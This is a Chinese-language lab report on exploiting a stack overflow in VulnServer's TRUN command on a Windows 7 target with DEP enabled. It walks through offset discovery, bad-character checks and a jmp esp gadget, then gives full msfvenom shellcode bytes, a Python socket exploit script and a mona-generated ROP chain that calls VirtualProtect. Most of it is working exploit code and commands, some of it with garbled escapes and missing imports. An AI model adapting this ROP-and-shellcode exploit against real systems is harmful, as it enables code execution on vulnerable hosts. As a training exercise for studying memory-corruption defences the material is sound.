1.项目名称
ROP 绕过数据执行保护(Bypass DEP)
2.实践目的
掌握操作系统开启 DEP 的情况下,如何基于 ROP 绕过 DEP 的防护,实现程序流程的劫持。
3.实践内容
实践靶机为开启了 DEP 的 WIN7,针对漏洞服务器 VulnServer 的 TRUN 命令,实现漏洞挖掘、分析和利用。
4.实践要求
1)掌握 DEP 开启的基本原理和方法;
2)掌握基于 ROP 绕过 DEP 的原理和方法
5.实践方法和步骤
靶机:win7
攻击机:kali linux
1)正常流程
1.1)触发异常
在靶机中先打开程序VulnServer
在kali中编写1.py,运行发送数据
shellcode = b""
shellcode += b"\xba\xdb\x42\x12\x7c\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x53\x31\x50\x12\x83\xe8\xfc"
shellcode += b"\x03\x8b\x4c\xf0\x89\xd7\xb9\x76\x71\x27\x3a"
shellcode += b"\x17\xfb\xc2\x0b\x17\x9f\x87\x3c\xa7\xeb\xc5"
shellcode += b"\xb0\x4c\xb9\xfd\x43\x20\x16\xf2\xe4\x8f\x40"
shellcode += b"\x3d\xf4\xbc\xb1\x5c\x76\xbf\xe5\xbe\x47\x70"
shellcode += b"\xf8\xbf\x80\x6d\xf1\xed\x59\xf9\xa4\x01\xed"
shellcode += b"\xb7\x74\xaa\xbd\x56\xfd\x4f\x75\x58\x2c\xde"
shellcode += b"\x0d\x03\xee\xe1\xc2\x3f\xa7\xf9\x07\x05\x71"
shellcode += b"\x72\xf3\xf1\x80\x52\xcd\xfa\x2f\x9b\xe1\x08"
shellcode += b"\x31\xdc\xc6\xf2\x44\x14\x35\x8e\x5e\xe3\x47"
shellcode += b"\x54\xea\xf7\xe0\x1f\x4c\xd3\x11\xf3\x0b\x90"
shellcode += b"\x1e\xb8\x58\xfe\x02\x3f\x8c\x75\x3e\xb4\x33"
shellcode += b"\x59\xb6\x8e\x17\x7d\x92\x55\x39\x24\x7e\x3b"
shellcode += b"\x46\x36\x21\xe4\xe2\x3d\xcc\xf1\x9e\x1c\x99"
shellcode += b"\x36\x93\x9e\x59\x51\xa4\xed\x6b\xfe\x1e\x79"
shellcode += b"\xc0\x77\xb9\x7e\x27\xa2\x7d\x10\xd6\x4d\x7e"
shellcode += b"\x39\x1d\x19\x2e\x51\xb4\x22\xa5\xa1\x39\xf7"
shellcode += b"\x50\xa9\x9c\xa8\x46\x54\x5e\x19\xc7\xf6\x37"
shellcode += b"\x73\xc8\x29\x27\x7c\x02\x42\xc0\x81\xad\x7d"
shellcode += b"\x4d\x0f\x4b\x17\x7d\x59\xc3\x8f\xbf\xbe\xdc"
shellcode += b"\x28\xbf\x94\x74\xde\x88\xfe\x43\xe1\x08\xd5"
shellcode += b"\xe3\x75\x83\x3a\x30\x64\x94\x16\x10\xf1\x03"
shellcode += b"\xec\xf1\xb0\xb2\xf1\xdb\x22\x56\x63\x80\xb2"
shellcode += b"\x11\x98\x1f\xe5\x76\x6e\x56\x63\x6b\xc9\xc0"
shellcode += b"\x91\x76\x8f\x2b\x11\xad\x6c\xb5\x98\x20\xc8"
shellcode += b"\x91\x8a\xfc\xd1\x9d\xfe\x50\x84\x4b\xa8\x16"
shellcode += b"\x7e\x3a\x02\xc1\x2d\x94\xc2\x94\x1d\x27\x94"
shellcode += b"\x98\x4b\xd1\x78\x28\x22\xa4\x87\x85\xa2\x20"
shellcode += b"\xf0\xfb\x52\xce\x2b\xb8\x63\x85\x71\xe9\xeb"
shellcode += b"\x40\xe0\xab\x71\x73\xdf\xe8\x8f\xf0\xd5\x90"
shellcode += b"\x6b\xe8\x9c\x95\x30\xae\x4d\xe4\x29\x5b\x71"
shellcode += b"\x5b\x49\x4e"
import sys
buffer = "A" * 5000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.110.146',9999))
s.send('TRUN .:/ ' + buffer + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close()
触发异常,此时EIP值为41414141
1.2)定位偏移量
msf-pattern_create -l 5000
利用kali生成5000个唯一字符串,然后修改代码
运行代码发送数据包
然后利用mona查找得到偏移量为2003
!mona findmsp
然后修改代码
buffer = "A"2003 + "BBBB" + "C"(5000-2003-4)
运行代码发送数据包,重新触发异常
EIP确实为42424242,所以偏移量为2003
1.3)排除坏字节
!mona ba -b "x00"
mona生成坏字符 badchar ,然后修改 buffer 的值 buffer = "A"2003 + "BBBB" + badchar + "C"(5000-2003-4-len(badchar))
重新运行代码发送数据包,触发异常
发现只有"x00"是坏字节
1.4)寻找jmp esp指令
利用mona生成
!mona jmp -r esp
任取一个,这里取0x625011bb
修改代码buffer="A"2003 + "xbbx11x50x62" + "C"(5000-2003-4)
在程序0x625011bb处下好断点,然后运行代码,发送数据,触发异常
跳转成功
1.5)写shellcode
msfvenom -p windows/exec CMD="calc.exe" -b "x00" -f python -v shellcode
msf生成弹计算器shellcode
修改buffer="A"2003 + "xbbx11x50x62" + "x90"16+shellcode+"C"*(5000-2003-4-len(shellcode))
2)在靶机中启动DEP
2.1)启动DEP
启动DEP命令:在cmd命令行管理员模式下执行bcdedit.exe/set {current} nx AlwaysOn pause 然后重启靶机
关闭DEP命令:bcdedit.exe/set {current} nx AlwaysOff pause 然后重启靶机
以上不行的话,可以在控制面板打开以下页面,启动
然后重启即可
启动之后运行程序,然后在kali运行代码,发现可以跳转到shellcode,但不能执行shellcode
2.2)生成ROP
利用mona生成
!mona rop 会生成文件 ropchain.txt,但是python代码部分第一条指令为00000000
!mona rop -m *.dll -n -cpb "x00" 使用该指令去掉00指令生成
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x75a41a3a, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x764e686a, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x764ef6c9, # XCHG EAX,ESI # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x77bf8c9d, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x77732273, # & jmp esp [NSI.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x7684131e, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x7651b7d6, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x76512015, # PUSH EAX # ADD AL,5E # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x76841ee1, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x7649f3ea, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x77b7f1c0, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x75a93a04, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x62504739, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x764af22c, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x7649f3ec, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x764d0bb2, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x764b8dce, # PUSHAD # RETN [RPCRT4.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
修改buffer="x41"2003 + rop_chain +"x90"16 +shellcode +"x43"*(5000-2003-len(rop_chain)-16- len(shellcode))
运行代码,弹出计算器
利用成功
rop利用原理参考:基本 ROP - CTF Wiki